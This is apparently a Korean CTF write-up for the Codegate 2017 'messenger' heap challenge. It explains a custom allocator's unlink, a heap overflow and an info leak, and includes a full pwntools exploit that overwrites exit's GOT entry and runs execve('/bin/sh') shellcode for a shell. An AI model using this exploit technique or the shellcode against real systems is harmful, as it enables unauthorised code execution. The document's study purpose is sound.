codegate 2017 messenger
(풀이를 엄청 봣다 ..)
멋있는 시작화면이 나온다.
이렇게 메뉴를 선택해서 나오는 문제를 보면 공통점이 딱 하나 있다.
그 공통점은 수정하는 부분에서 오버플로우가 일어난다는 점과 출력하는 부분에서 메모리 릭 취약점이 있다는 것 이다.
아이다를 보면 LEAVE REMOVE 등 다 이름을 착하게 정해주었다. 감동 ..
보면 직접적으로 MALLOC() 이런게 없다 그러니 여기서는 커스텀 MALLOC를 사용한다는 것을 알수있다.
이 Leave를 분석해보면 별거없다. 딱 하나 특징이 있다면 FREE를 안해도 FD와 BK가 있다는 점 밖에없다.
REMOVE(free) 를 하는부분을 보면 REMOVE도 커스텀 FREE 함수를 쓴다.
커스텀 FREE 부분을보면 Unlink를 하는것을 볼 수 있다. FD + 16 = BK , BK + 8 = FD 이런식으로 unlink를 진행한다.
Change(수정) 부분을 보면 위에서 적은 공통점처럼 Heap Overflow 취약점이 있다.
size를 입력을 받는데 그 사이즈에 제한을 주지 않았다.
그 아래 VIEW(출력) 부분에서 Memory leak이 가능하다.
Change로 오버플로우를 일으켜 A를 쭉 63개 + NULL(엔터 값) 이 들어가고 출력을 시키면 메모리 릭 으로 인해 0X00603018(첫 번째 청크 사이즈 주소) 가 출력이 된다.
LEAK Success
그리고 위쪽에서 커스텀 FREE를 사용함으로써 UNLINK를 시키는데 여기서 Unlink로 익스플로잇을 짤 수 있다.
######################################
+ 0x60 shellcode 시작부분 -> \x90*20(A*20) #Nop Sled
+ 0x78 진짜 쉘코드 시작부분
+ 0x8d 더미 4개로 덮인주소 (\x90*5)
+ 0x8f JMP SHELLCODE 한개 출력
######################################
위에 있는 4개가 0x603018(LEAK 된 HEAP 주소) 와의 오프셋 이다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | from pwn import * p=remote("192.168.10.102",9001) shellcode ="\x90"*20+'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' exit_got=0x602070 def Leave(size,data): p.recvuntil('>> ') p.sendline("L") p.recvuntil(': ') p.sendline(str(size)) p.recvuntil(': ') p.sendline(str(data)) def Remove(index): print p.recvuntil('>> ') p.sendline("R") print p.recvuntil(': ') p.sendline(str(index)) def Change(index,size,data): print p.recvuntil('>> ') p.sendline('C') p.recvuntil(': ') #index p.sendline(str(index)) p.recvuntil(': ') #size p.sendline(str(size)) p.recvuntil(': ') #data p.sendline(str(data)) def View(index): global Heap_leak print p.recvuntil('>> ') p.sendline("V") print p.recvuntil(': ') p.sendline(str(index)) Heap_leak=p.recv(100)[64:68] def Quit(): print p.recvuntil('>> ') p.sendline("\n") Leave(32,"AAAA") print "Change Chapter[1]" Change(0,72,"B"*63) View(0) Heap_leak=u32(Heap_leak) print hex(Heap_leak) test_payload="B"*48 test_payload+=p64(0x232) test_payload+=p64(0x0) test_payload+=p64(exit_got-0x8) Change(0,96,test_payload) Leave(32,"BBBB") Heap_shellcode=asm("mov rax, "+hex(Heap_leak+0x60),arch='amd64',os='linux') Heap_shellcode+=asm("call rax",arch='amd64',os='linux') payload=shellcode+"\x90"*7+Heap_shellcode print "Start EXploit" Change(1,96,payload) print "[*] Exploit Success" Remove(1) print "[*] UNlink Success" Quit() p.interactive() | cs |
2번 째 청크에는 NopSled
3 번째 청크 앞에 쪽에 Heap_shellcode를 넣으면 그 Heap_shellcode가 실행된다. -> heap_leak + 0x60은 위에 오프셋목록을 보면 됨
exit_got-0x8 해서 fd주소때문에 3번쨰 청크 앞에쪽에 납두면 된다.
그냥 쉘코드를 넣으면 될텐데 저렇게 하는이유는 Protostar heap3 를 풀어봣다면 Unlink를 할 떄 쉘코드가 짤려서 Heap_shellcode 처럼 간단하게 쉘 코드를 짠적이 있을것이다. 그것이랑 같다 !
그리고 익스코드를 보면 - 0x8를 하는데 64bit는 - 0x8이 아닌 0x16을 해줘야한다.
하지만 이 문제에서는 커스텀 free 함수를 쓰면서 - 0x8로 지정한걸 볼 수 있다.